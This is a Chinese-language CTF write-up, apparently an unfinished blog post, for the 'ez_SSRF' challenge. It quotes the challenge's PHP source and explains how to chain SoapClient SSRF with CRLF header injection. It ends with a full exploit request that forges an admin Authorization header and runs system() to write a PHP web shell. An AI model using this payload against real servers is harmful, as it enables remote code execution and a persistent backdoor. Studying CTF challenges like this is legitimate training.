如果说sql注入是我最喜欢的漏洞,那么ssrf我觉得是第二甚至快超过第一的漏洞了

事情还得从被人催更开始

img

emmm,怎么说呢这个题我之前是浅浅看了一眼的,不过也就一眼(扫了个目录然后没了)没多看了,开始以为是随便伪造个身份ssrf就过了应该,但是昨天亲自来做了一下,发现问题还蛮多的,也学到挺多姿势的~

题目来源: 三叶草安全技术小组第十五届极客大挑战 CTFPlus-ez_SSRF

先简单分析这个题怎么写的吧,后面再继续补充

开题

image-20241104220227545

啥也没有,提示checkcheck,那就目录扫描一把梭咯~牛子哥启动
image-20241104220322575

http://80-83297ec2-91eb-4f85-8453-96d54fb7d60e.challenge.ctfplus.cn/www.zip

下载源码,得到3个文件.开始审计咯!

h4d333333.php 看这个命名就知道像个后门哈哈哈哈哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}

if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome")
);

$client->calculator();

echo file_get_contents("result");
}else{
echo "Please give me a location";
}

calculator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}

我们先看看功能文件,计算器.php

image-20241104220850051

梳理下所知道的东西吧:

  • 访问者必须是来自127.0.0.1,否则不让过
  • check函数对来自远端的AUTHORIZATION进行校验
  • 想要命令执行的话还需要伪造AUTHORIZATION,或者说会话固定,这个后面细讲
  • $expression可控,直接写命令就行

显然我们直接访问只会得到如下结果

image-20241104221229633

这时候看看后门.php带来了啥

发现出现了一个SoapClient原生类.哟!这不是老演员了嘛

随便一搜

image-20241104221701818

思路就打开了嘛这不

网上99%的文章都是在讲反序列化触发call魔术方法实现ssrf攻击,但本题没有反序列化序列化一说,其实也是出题人降低难度了.

image-20241104221851838

所以这题默认就是会自动触发ssrf的,然后我们考虑怎样让它ssrf到我们指定的url呢

这不前面就出现了可控变量 $location=$_GET['location'];这下第一关就算绕过了

那我们还有固定一个aaaaaaaaaaaadmin的会话,然后并且要实现$expression是我们想要执行的命令

所以自然目光就放到这个$user=$_POST['user'];上面来了

这个可控变量表面看起来人畜无害的样子,实际确是大大滴有问题

请出第二个老演员CRLF注入

参考这:PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台

浅入深出谈 HTTP 响应拆分(CRLF Injection)攻击(上) - 先知社区

看完之后就很简单了,构造数据包,把我们想要的东西放前面,不想要的把它下去

管不了这么多,先打一发看看威力

起一个监听nc -lvv 9999

image-20241104223611126

打一发!

image-20241104223653728

image-20241104223816021

情况有变,后续再慢慢写,这里留个坑!(2024-11-4)

1
2
3
4
5
6
7
8
9
10
11
12
POST /h4d333333.php?location=http://127.0.0.1/calculator.php HTTP/1.1
Host: 80-40b5773d-b8a3-4d33-b4e0-bce18f73cfe3.challenge.ctfplus.cn
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
x-real-ip: Papa
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 217

user=admin%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 593%0d%0a%0d%0aexpression=system('echo "<?= \`\$_POST[1]\`;" >t.php'){{urlenc(&)}}a=%28%29%3B%0d%0a

赛题练习:CTFSHOW-WEB259

CRLF注入漏洞(响应截断)攻击实战

CRLF注入漏洞(响应截断)攻击实战_crlf漏洞-CSDN博客

浅入深出谈 HTTP 响应拆分(CRLF Injection)攻击(上) - 先知社区